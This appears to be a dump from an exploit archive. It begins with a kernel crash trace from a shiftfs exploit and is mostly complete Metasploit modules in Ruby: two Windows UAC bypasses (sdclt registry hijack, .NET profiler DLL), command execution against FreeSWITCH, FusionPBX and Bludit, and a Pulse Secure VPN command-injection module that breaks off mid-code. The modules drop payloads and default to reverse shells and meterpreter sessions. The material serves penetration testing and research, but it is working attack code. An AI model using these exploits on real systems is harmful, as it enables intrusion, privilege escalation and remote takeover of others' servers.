[ 348.189586] ---[ end trace dad859a1db86d660 ]---
[ 348.190916] RIP: 0010:shiftfs_real_ioctl+0x22e/0x410 [shiftfs]
[ 348.193401] Code: 38 44 89 ff e8 43 91 01 d3 49 89 c0 49 83 e0 fc 0f 84 ce 01 00 00 49 8b 90 c8 00 00 00 41 8b 70 40 48 8b 4a 10 89 c2 83 e2 01 <8b> 79 40 48 89 4d b8 89 f8 f7 d0 85 f0 0f 85 e8 00 00 00 85 d2 75
[ 348.198713] RSP: 0018:ffffb1e7806ebdc8 EFLAGS: 00010246
[ 348.200226] RAX: ffff9ce6302ebcc0 RBX: ffff9ce6302e90c0 RCX: 0000000000004249
[ 348.202257] RDX: 0000000000000000 RSI: 0000000000008000 RDI: 0000000000000004
[ 348.204294] RBP: ffffb1e7806ebe30 R08: ffff9ce6302ebcc0 R09: 0000000000001150
[ 348.206324] R10: ffff9ce63680e840 R11: 0000000080010d00 R12: 0000000050009401
[ 348.208362] R13: 00007ffd87558310 R14: ffff9ce60cffca88 R15: 0000000000000004
[ 348.210395] FS: 00007f77fa842540(0000) GS:ffff9ce637b80000(0000) knlGS:0000000000000000
[ 348.212710] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 348.214365] CR2: 0000000000004289 CR3: 000000026ff94001 CR4: 0000000000360ee0
[ 348.216409] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[ 348.218349] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
Killed
user@ubuntu1910vm:~/shiftfs_confuse$
=======================================
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/exploit/exe'
require 'msf/core/exploit/powershell'
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Post::Windows::Priv
include Post::Windows::Runas
def initialize(info={})
super(update_info(info,
'Name' => 'Windows Escalate UAC Protection Bypass (Via Shell Open Registry Key)',
'Description' => %q(
This module will bypass Windows UAC by hijacking a special key in the Registry under
the current user hive, and inserting a custom command that will get invoked when
Window backup and restore is launched. It will spawn a second shell that has the UAC
flag turned off.
This module modifies a registry key, but cleans up the key once the payload has
been invoked.
),
'License' => MSF_LICENSE,
'Author' => [
'enigma0x3', # UAC bypass discovery and research
'bwatters-r7', # Module
],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Targets' => [
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
],
'DefaultTarget' => 0,
'Notes' =>
{
'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ]
},
'References' =>
[
['URL', 'https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/'],
['URL', 'https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-SDCLTBypass.ps1'],
['URL', 'https://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass']
],
'DisclosureDate' => 'Mar 17 2017'
)
)
register_options(
[OptString.new('PAYLOAD_NAME', [false, 'The filename to use for the payload binary (%RAND% by default).', nil])]
)
end
def check
if sysinfo['OS'] =~ /Windows (Vista|7|8|2008|2012|2016|10)/ && is_uac_enabled?
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
end
end
def write_reg_values(registry_key, payload_pathname)
begin
registry_createkey(registry_key) unless registry_key_exist?(registry_key)
registry_setvaldata(registry_key, "DelegateExecute", '', "REG_SZ")
registry_setvaldata(registry_key, '', payload_pathname, "REG_SZ")
rescue ::Exception => e
print_error(e.to_s)
end
end
def exploit
check_permissions!
case get_uac_level
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
fail_with(Failure::NotVulnerable,
"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")
when UAC_DEFAULT
print_good('UAC is set to Default')
print_good('BypassUAC can bypass this setting, continuing...')
when UAC_NO_PROMPT
print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
shell_execute_exe
return
end
registry_key = 'HKCU\Software\Classes\Folder\shell\open\command'
remove_registry_key = !registry_key_exist?(registry_key)
# get directory locations straight
win_dir = session.sys.config.getenv('windir')
vprint_status("win_dir = " + win_dir)
tmp_dir = session.sys.config.getenv('tmp')
vprint_status("tmp_dir = " + tmp_dir)
exploit_dir = win_dir + "\\System32\\"
vprint_status("exploit_dir = " + exploit_dir)
target_filepath = exploit_dir + "sdclt.exe"
vprint_status("exploit_file = " + target_filepath)
# make payload
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(6..14) + '.exe'
payload_pathname = tmp_dir + '\\' + payload_name
vprint_status("payload_pathname = " + payload_pathname)
vprint_status("Making Payload")
payload = generate_payload_exe
reg_command = exploit_dir + "cmd.exe /c start #{payload_pathname}"
vprint_status("reg_command = " + reg_command)
write_reg_values(registry_key, reg_command)
# Upload payload
vprint_status("Uploading Payload to #{payload_pathname}")
write_file(payload_pathname, payload)
vprint_status("Payload Upload Complete")
vprint_status("Launching " + target_filepath)
begin
session.sys.process.execute("cmd.exe /c \"#{target_filepath}\"", nil, 'Hidden' => true)
rescue ::Exception => e
print_error("Executing command failed:\n#{e}")
end
print_warning("This exploit requires manual cleanup of '#{payload_pathname}!")
# wait for a few seconds before cleaning up
print_status("Please wait for session and cleanup....")
sleep(20)
vprint_status("Removing Registry Changes")
if remove_registry_key
registry_deletekey(registry_key)
else
registry_deleteval(registry_key, "DelegateExecute")
registry_deleteval(registry_key, '')
end
print_status("Registry Changes Removed")
end
def check_permissions!
unless check == Exploit::CheckCode::Appears
fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
end
fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
# Check if you are an admin
# is_in_admin_group can be nil, true, or false
print_status('UAC is Enabled, checking level...')
vprint_status('Checking admin status...')
case is_in_admin_group?
when true
print_good('Part of Administrators group! Continuing...')
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
end
when false
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
when nil
print_error('Either whoami is not there or failed to execute')
print_error('Continuing under assumption you already checked...')
end
end
end
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Post::Windows::Priv
include Post::Windows::Runas
def initialize(info={})
super(update_info(info,
'Name' => 'Windows Escalate UAC Protection Bypass (Via dot net profiler)',
'Description' => %q(
Microsoft Windows allows for the automatic loading of a profiling COM object during
the launch of a CLR process based on certain environment variables ostensibly to
monitor execution. In this case, we abuse the profiler by pointing to a payload DLL
that will be launched as the profiling thread. This thread will run at the permission
level of the calling process, so an auto-elevating process will launch the DLL with
elevated permissions. In this case, we use gpedit.msc as the auto-elevated CLR
process, but others would work, too.
),
'License' => MSF_LICENSE,
'Author' => [
'Casey Smith', # UAC bypass discovery and research
'"Stefan Kanthak" <stefan.kanthak () nexgo de>', # UAC bypass discovery and research
'bwatters-r7', # Module
],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Targets' => [
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
],
'DefaultTarget' => 0,
'Notes' =>
{
'SideEffects' => [ ARTIFACTS_ON_DISK ]
},
'References' =>
[
['URL', 'https://seclists.org/fulldisclosure/2017/Jul/11'],
['URL', 'https://offsec.provadys.com/UAC-bypass-dotnet.html']
],
'DisclosureDate' => 'Mar 17 2017'
)
)
register_options(
[OptString.new('PAYLOAD_NAME', [false, 'The filename to use for the payload binary (%RAND% by default).', nil])]
)
end
def check
if sysinfo['OS'] =~ /Windows (7|8|2008|2012|10)/ && is_uac_enabled?
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
end
end
def write_reg_value(registry_hash)
vprint_status("Writing #{registry_hash[:value_name]} to #{registry_hash[:key_name]}")
begin
if not registry_key_exist?(registry_hash[:key_name])
registry_createkey(registry_hash[:key_name])
registry_hash[:delete_on_cleanup] = true
else
registry_hash[:delete_on_cleanup] = false
end
registry_setvaldata(registry_hash[:key_name], \
registry_hash[:value_name], \
registry_hash[:value_value], \
registry_hash[:value_type])
rescue Rex::Post::Meterpreter::RequestError => e
print_error(e.to_s)
end
end
def remove_reg_value(registry_hash)
# we may have already deleted the key
return unless registry_key_exist?(registry_hash[:key_name])
begin
if registry_hash[:delete_on_cleanup]
vprint_status("Deleting #{registry_hash[:key_name]} key")
registry_deletekey(registry_hash[:key_name])
else
vprint_status("Deleting #{registry_hash[:value_name]} from #{registry_hash[:key_name]} key")
registry_deleteval(registry_hash[:key_name], registry_hash[:value_name])
end
rescue Rex::Post::Meterpreter::RequestError => e
print_bad("Unable to clean up registry")
print_error(e.to_s)
end
end
def exploit
check_permissions!
case get_uac_level
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
fail_with(Failure::NotVulnerable,
"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")
when UAC_DEFAULT
print_good('UAC is set to Default')
print_good('BypassUAC can bypass this setting, continuing...')
when UAC_NO_PROMPT
print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
shell_execute_exe
return
end
# get directory locations straight
win_dir = session.sys.config.getenv('windir')
vprint_status("win_dir = " + win_dir)
tmp_dir = session.sys.config.getenv('tmp')
vprint_status("tmp_dir = " + tmp_dir)
exploit_dir = win_dir + "\\System32\\"
vprint_status("exploit_dir = " + exploit_dir)
target_filepath = exploit_dir + "gpedit.msc"
vprint_status("target_filepath = " + target_filepath)
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.dll'
payload_pathname = tmp_dir + '\\' + payload_name
# make payload
vprint_status("Making Payload")
vprint_status("payload_pathname = " + payload_pathname)
payload = generate_payload_dll
uuid = SecureRandom.uuid
vprint_status("UUID = #{uuid}")
reg_keys = []
# This reg key will not hurt anything in windows 10+, but is not required.
unless sysinfo['OS'] =~ /Windows (2016|10)/
reg_keys.push(key_name: "HKCU\\Software\\Classes\\CLSID\\{#{uuid}}\\InprocServer32",
value_name: '',
value_type: "REG_EXPAND_SZ",
value_value: payload_pathname,
delete_on_cleanup: false)
end
reg_keys.push(key_name: "HKCU\\Environment",
value_name: "COR_PROFILER",
value_type: "REG_SZ",
value_value: "{#{uuid}}",
delete_on_cleanup: false)
reg_keys.push(key_name: "HKCU\\Environment",
value_name: "COR_ENABLE_PROFILING",
value_type: "REG_SZ",
value_value: "1",
delete_on_cleanup: false)
reg_keys.push(key_name: "HKCU\\Environment",
value_name: "COR_PROFILER_PATH",
value_type: "REG_SZ",
value_value: payload_pathname,
delete_on_cleanup: false)
reg_keys.each do |key_hash|
write_reg_value(key_hash)
end
# Upload payload
vprint_status("Uploading Payload to #{payload_pathname}")
write_file(payload_pathname, payload)
vprint_status("Payload Upload Complete")
vprint_status("Launching " + target_filepath)
begin
session.sys.process.execute("cmd.exe /c \"#{target_filepath}\"", nil, 'Hidden' => true)
rescue Rex::Post::Meterpreter::RequestError => e
print_error(e.to_s)
end
print_warning("This exploit requires manual cleanup of '#{payload_pathname}!")
# wait for a few seconds before cleaning up
print_status("Please wait for session and cleanup....")
sleep(20)
vprint_status("Removing Registry Changes")
reg_keys.each do |key_hash|
remove_reg_value(key_hash)
end
vprint_status("Registry Changes Removed")
end
def check_permissions!
unless check == Exploit::CheckCode::Appears
fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
end
fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
# Check if you are an admin
# is_in_admin_group can be nil, true, or false
print_status('UAC is Enabled, checking level...')
vprint_status('Checking admin status...')
admin_group = is_in_admin_group?
if admin_group.nil?
print_error('Either whoami is not there or failed to execute')
print_error('Continuing under assumption you already checked...')
else
if admin_group
print_good('Part of Administrators group! Continuing...')
else
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
end
end
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
end
end
end
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Powershell
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'FreeSWITCH Event Socket Command Execution',
'Description' => %q{
This module uses the FreeSWITCH event socket interface
to execute system commands using the `system` API command.
The event socket service is enabled by default and listens
on TCP port 8021 on the local network interface.
This module has been tested successfully on FreeSWITCH versions:
1.6.10-17-726448d~44bit on FreeSWITCH-Deb8-TechPreview virtual machine;
1.8.4~64bit on Ubuntu 19.04 (x64); and
1.10.1~64bit on Windows 7 SP1 (EN) (x64).
},
'License' => MSF_LICENSE,
'Author' => ['bcoles'],
'References' =>
[
['CWE', '260'], # default password, configurable in event_socket.conf.xml
['URL', 'https://freeswitch.org/confluence/display/FREESWITCH/mod_event_socket']
],
'Platform' => %w[win linux unix bsd],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Payload' => {'BadChars' => "\x00\x0a\x0d\x27\x5c"},
'CmdStagerFlavor' => %w[curl wget certutil vbs],
'Targets' =>
[
['Unix (In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse'},
'Type' => :unix_memory
],
['Linux (Dropper)',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'DefaultOptions' => {'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'},
'Type' => :linux_dropper
],
['PowerShell (In-Memory)',
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'DefaultOptions' => {'PAYLOAD' => 'windows/meterpreter/reverse_tcp'},
'Type' => :psh_memory
],
['Windows (In-Memory)',
'Platform' => 'win',
'Arch' => ARCH_CMD,
'DefaultOptions' => {'PAYLOAD' => 'cmd/windows/reverse_powershell'},
'Type' => :win_memory
],
['Windows (Dropper)',
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'DefaultOptions' => {'PAYLOAD' => 'windows/meterpreter/reverse_tcp'},
'Type' => :win_dropper
]
],
'Privileged' => false,
'DefaultOptions' => { 'RPORT' => 8021 },
'DisclosureDate' => '2019-11-03',
'DefaultTarget' => 0))
register_options [
OptString.new('PASSWORD', [true, 'FreeSWITCH event socket password', 'ClueCon'])
]
end
def check
connect
banner = sock.get_once.to_s
disconnect
if banner.include?('Access Denied, go away.') || banner.include?('text/rude-rejection')
vprint_error 'Access denied by network ACL'
return CheckCode::Safe
end
unless banner.include?('Content-Type: auth/request')
return CheckCode::Safe
end
CheckCode::Appears
end
def auth(password)
sock.put "auth #{password}\n\n"
res = sock.get_once.to_s
unless res.include? 'Content-Type: command/reply'
fail_with Failure::UnexpectedReply, 'Unexpected reply'
end
unless res.include?('Reply-Text: +OK accepted')
fail_with Failure::NoAccess, 'Login failed'
end
print_status 'Login success'
end
def execute_command(cmd, opts = {})
api_function = opts[:foreground] ? 'system' : 'bg_system'
sock.put "api #{api_function} #{cmd}\n\n"
res = sock.get_once.to_s
unless res.include? 'Content-Type: api/response'
fail_with Failure::UnexpectedReply, 'Unexpected reply'
end
vprint_status "Response: #{res}"
end
def exploit
unless check == CheckCode::Appears
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end
connect
banner = sock.get_once.to_s
auth(datastore['PASSWORD'])
print_status "Sending payload (#{payload.encoded.length} bytes) ..."
case target['Type']
when :unix_memory
if datastore['PAYLOAD'] == 'cmd/unix/generic'
execute_command(payload.encoded, foreground: true)
else
execute_command(payload.encoded)
end
when :win_memory
if datastore['PAYLOAD'] == 'cmd/windows/generic'
execute_command(payload.encoded, foreground: true)
else
execute_command(payload.encoded)
end
when :psh_memory
execute_command(
cmd_psh_payload(
payload.encoded,
payload_instance.arch.first,
{ :remove_comspec => true, :encode_final_payload => true }
)
)
when :linux_dropper
execute_cmdstager(:linemax => 1_500)
when :win_dropper
execute_cmdstager(:linemax => 1_500)
end
ensure
disconnect unless sock.nil?
end
end
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'FusionPBX Operator Panel exec.php Command Execution',
'Description' => %q{
This module exploits an authenticated command injection vulnerability
in FusionPBX versions 4.4.3 and prior.
The `exec.php` file within the Operator Panel permits users with
`operator_panel_view` permissions, or administrator permissions,
to execute arbitrary commands as the web server user by sending
a `system` command to the FreeSWITCH event socket interface.
This module has been tested successfully on FusionPBX version
4.4.1 on Ubuntu 19.04 (x64).
},
'License' => MSF_LICENSE,
'Author' =>
[
'Dustin Cobb', # Discovery and exploit
'bcoles' # Metasploit
],
'References' =>
[
['CVE', '2019-11409'],
['EDB', '46985'],
['URL', 'https://blog.gdssecurity.com/labs/2019/6/7/rce-using-caller-id-multiple-vulnerabilities-in-fusionpbx.html'],
['URL', 'https://github.com/fusionpbx/fusionpbx/commit/e43ca27ba2d9c0109a6bf198fe2f8d79f63e0611']
],
'Platform' => %w[unix linux],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Payload' => {'BadChars' => "\x00\x0a\x0d\x27\x5c"},
'CmdStagerFlavor' => %w[curl wget],
'Targets' =>
[
['Automatic (Unix In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse'},
'Type' => :unix_memory
],
['Automatic (Linux Dropper)',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'DefaultOptions' => {'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'},
'Type' => :linux_dropper
]
],
'Privileged' => false,
'DefaultOptions' => { 'SSL' => true, 'RPORT' => 443 },
'DisclosureDate' => '2019-06-06',
'DefaultTarget' => 0))
register_options [
OptString.new('TARGETURI', [true, 'The base path to FusionPBX', '/']),
OptString.new('USERNAME', [true, 'The username for FusionPBX']),
OptString.new('PASSWORD', [true, 'The password for FusionPBX'])
]
end
def login(user, pass)
vprint_status "Authenticating as user '#{user}'"
vars_post = {
username: user,
password: pass,
path: ''
}
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'core/user_settings/user_dashboard.php'),
'vars_post' => vars_post
})
unless res
fail_with Failure::Unreachable, 'Connection failed'
end
if res.code == 302 && res.headers['location'].include?('login.php')
fail_with Failure::NoAccess, "Login failed for user '#{user}'"
end
unless res.code == 200
fail_with Failure::UnexpectedReply, "Unexpected HTTP response status code #{res.code}"
end
cookie = res.get_cookies.to_s.scan(/PHPSESSID=(.+?);/).flatten.first
unless cookie
fail_with Failure::UnexpectedReply, 'Failed to retrieve PHPSESSID cookie'
end
print_good "Authenticated as user '#{user}'"
cookie
end
def check
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path)
})
unless res
vprint_error 'Connection failed'
return CheckCode::Unknown
end
if res.body.include?('FusionPBX')
return CheckCode::Detected
end
CheckCode::Safe
end
def execute_command(cmd, opts = {})
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'app/operator_panel/exec.php'),
'cookie' => "PHPSESSID=#{@cookie}",
'vars_get' => {'cmd' => "bg_system #{cmd}"}
}, 5)
unless res
return if session_created?
fail_with Failure::Unreachable, 'Connection failed'
end
unless res.code == 200
fail_with Failure::UnexpectedReply, "Unexpected HTTP response status code #{res.code}"
end
if res.body.include? 'access denied'
fail_with Failure::NoAccess, "User #{datastore['USERNAME']} does not have permission to access the Operator Panel"
end
res
end
def exploit
unless check == CheckCode::Detected
fail_with Failure::NotVulnerable, "#{peer} - Target is not vulnerable"
end
@cookie = login(datastore['USERNAME'], datastore['PASSWORD'])
print_status "Sending payload (#{payload.encoded.length} bytes) ..."
case target['Type']
when :unix_memory
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager(:linemax => 1_500)
end
end
end
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::PhpEXE
include Msf::Exploit::FileDropper
include Msf::Auxiliary::Report
def initialize(info={})
super(update_info(info,
'Name' => "Bludit Directory Traversal Image File Upload Vulnerability",
'Description' => %q{
This module exploits a vulnerability in Bludit. A remote user could abuse the uuid
parameter in the image upload feature in order to save a malicious payload anywhere
onto the server, and then use a custom .htaccess file to bypass the file extension
check to finally get remote code execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'christasa', # Original discovery
'sinn3r' # Metasploit module
],
'References' =>
[
['CVE', '2019-16113'],
['URL', 'https://github.com/bludit/bludit/issues/1081'],
['URL', 'https://github.com/bludit/bludit/commit/a9640ff6b5f2c0fa770ad7758daf24fec6fbf3f5#diff-6f5ea518e6fc98fb4c16830bbf9f5dac' ]
],
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Notes' =>
{
'SideEffects' => [ IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ]
},
'Targets' =>
[
[ 'Bludit v3.9.2', {} ]
],
'Privileged' => false,
'DisclosureDate' => "2019-09-07",
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path for Bludit', '/']),
OptString.new('BLUDITUSER', [true, 'The username for Bludit']),
OptString.new('BLUDITPASS', [true, 'The password for Bludit'])
])
end
class PhpPayload
attr_reader :payload
attr_reader :name
def initialize(p)
@payload = p
@name = "#{Rex::Text.rand_text_alpha(10)}.png"
end
end
class LoginBadge
attr_reader :username
attr_reader :password
attr_accessor :csrf_token
attr_accessor :bludit_key
def initialize(user, pass, token, key)
@username = user
@password = pass
@csrf_token = token
@bludit_key = key
end
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php')
})
unless res
vprint_error('Connection timed out')
return CheckCode::Unknown
end
html = res.get_html_document
generator_tag = html.at('meta[@name="generator"]')
unless generator_tag
vprint_error('No generator metadata tag found in HTML')
return CheckCode::Safe
end
content_attr = generator_tag.attributes['content']
unless content_attr
vprint_error("No content attribute found in metadata tag")
return CheckCode::Safe
end
if content_attr.value == 'Bludit'
return CheckCode::Detected
end
CheckCode::Safe
end
def get_uuid(login_badge)
print_status('Retrieving UUID...')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin', 'new-content', 'index.php'),
'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};"
})
unless res
fail_with(Failure::Unknown, 'Connection timed out')
end
html = res.get_html_document
uuid_element = html.at('input[@name="uuid"]')
unless uuid_element
fail_with(Failure::Unknown, 'No UUID found in admin/new-content/')
end
uuid_val = uuid_element.attributes['value']
unless uuid_val && uuid_val.respond_to?(:value)
fail_with(Failure::Unknown, 'No UUID value')
end
uuid_val.value
end
def upload_file(login_badge, uuid, content, fname)
print_status("Uploading #{fname}...")
data = Rex::MIME::Message.new
data.add_part(content, 'image/png', nil, "form-data; name=\"images[]\"; filename=\"#{fname}\"")
data.add_part(uuid, nil, nil, 'form-data; name="uuid"')
data.add_part(login_badge.csrf_token, nil, nil, 'form-data; name="tokenCSRF"')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'ajax', 'upload-images'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};",
'headers' => {'X-Requested-With' => 'XMLHttpRequest'},
'data' => data.to_s
})
unless res
fail_with(Failure::Unknown, 'Connection timed out')
end
end
def upload_php_payload_and_exec(login_badge)
# From: /var/www/html/bludit/bl-content/uploads/pages/5821e70ef1a8309cb835ccc9cec0fb35/
# To: /var/www/html/bludit/bl-content/tmp
uuid = get_uuid(login_badge)
php_payload = get_php_payload
upload_file(login_badge, '../../tmp', php_payload.payload, php_payload.name)
# On the vuln app, this line occurs first:
# Filesystem::mv($_FILES['images']['tmp_name'][$uuid], PATH_TMP.$filename);
# Even though there is a file extension check, it won't really stop us
# from uploading the .htaccess file.
htaccess = <<~HTA
RewriteEngine off
AddType application/x-httpd-php .png
HTA
upload_file(login_badge, uuid, htaccess, ".htaccess")
register_file_for_cleanup('.htaccess')
print_status("Executing #{php_payload.name}...")
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'bl-content', 'tmp', php_payload.name)
})
end
def get_php_payload
@php_payload ||= PhpPayload.new(get_write_exec_payload(unlink_self: true))
end
def get_login_badge(res)
cookies = res.get_cookies
bludit_key = cookies.scan(/BLUDIT\-KEY=(.+);/i).flatten.first || ''
html = res.get_html_document
csrf_element = html.at('input[@name="tokenCSRF"]')
unless csrf_element
fail_with(Failure::Unknown, 'No tokenCSRF found')
end
csrf_val = csrf_element.attributes['value']
unless csrf_val && csrf_val.respond_to?(:value)
fail_with(Failure::Unknown, 'No tokenCSRF value')
end
LoginBadge.new(datastore['BLUDITUSER'], datastore['BLUDITPASS'], csrf_val.value, bludit_key)
end
def do_login
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php')
})
unless res
fail_with(Failure::Unknown, 'Connection timed out')
end
login_badge = get_login_badge(res)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),
'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};",
'vars_post' =>
{
'tokenCSRF' => login_badge.csrf_token,
'username' => login_badge.username,
'password' => login_badge.password
}
})
unless res
fail_with(Failure::Unknown, 'Connection timed out')
end
# A new csrf value is generated, need to update this for the upload
if res.headers['Location'].to_s.include?('/admin/dashboard')
store_valid_credential(user: login_badge.username, private: login_badge.password)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin', 'dashboard', 'index.php'),
'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};",
})
unless res
fail_with(Failure::Unknown, 'Connection timed out')
end
new_csrf = res.body.scan(/var tokenCSRF = "(.+)";/).flatten.first
login_badge.csrf_token = new_csrf if new_csrf
return login_badge
end
fail_with(Failure::NoAccess, 'Authentication failed')
end
def exploit
login_badge = do_login
print_good("Logged in as: #{login_badge.username}")
upload_php_payload_and_exec(login_badge)
end
end
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'Pulse Secure VPN Arbitrary Command Execution',
'Description' => %q{
This module exploits a post-auth command injection in the Pulse Secure
VPN server to execute commands as root. The env(1) command is used to
bypass application whitelisting and run arbitrary commands.
Please see related module auxiliary/gather/pulse_secure_file_disclosure
for a pre-auth file read that is able to obtain plaintext and hashed
credentials, plus session IDs that may be used with this exploit.
A valid administrator session ID is required in lieu of untested SSRF.
},
'Author' => [
'Orange Tsai', # Discovery (@orange_8361)
'Meh Chang', # Discovery (@mehqq_)
'wvu' # Module
],
'References' => [
['CVE', '2019-11539'],
['URL', 'https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101/'],
['URL', 'https://blog.orange.tw/2019/09/attacking-ssl-vpn-part-3-golden-pulse-secure-rce-chain.html'],
['URL', 'https://hackerone.com/reports/591295']
],
'DisclosureDate' => '2019-04-24', # Public disclosure
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => true,
'Targets' => [
['Unix In-Memory',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory,
'Payload' => {
'BadChars' => %Q(&*(){}[]`;|?\n~<>"'),
'Encoder' => 'generic/none' # Force manual badchar analysis
},
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/generic'}
],
['Linux Dropper',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => {'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp'}
]
],
'DefaultTarget' => 1,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true,
'CMDSTAGER::SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
'RelatedModules' => ['auxiliary/gather/pulse_secure_file_disclosure']
}
))
register_options([
OptString.new('SID', [true, 'Valid admin session ID'])
])
end
def post_auth?
true
end
def exploit
get_csrf_token
print_status("Executing #{target.name} target")
case target['Type']
when :unix_memory
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager(
flavor: :curl,
noconcat: true
)
end
end
def get_csrf_token
@cookie = "DSID=#{datastore['SID']}"
print_good("Setting session cookie: #{@cookie}")
print_status('Obtaining CSRF token')
res = send_request_cgi(
'method' => 'GET',
'uri' => diag_cgi,
'cookie' => @cookie
)
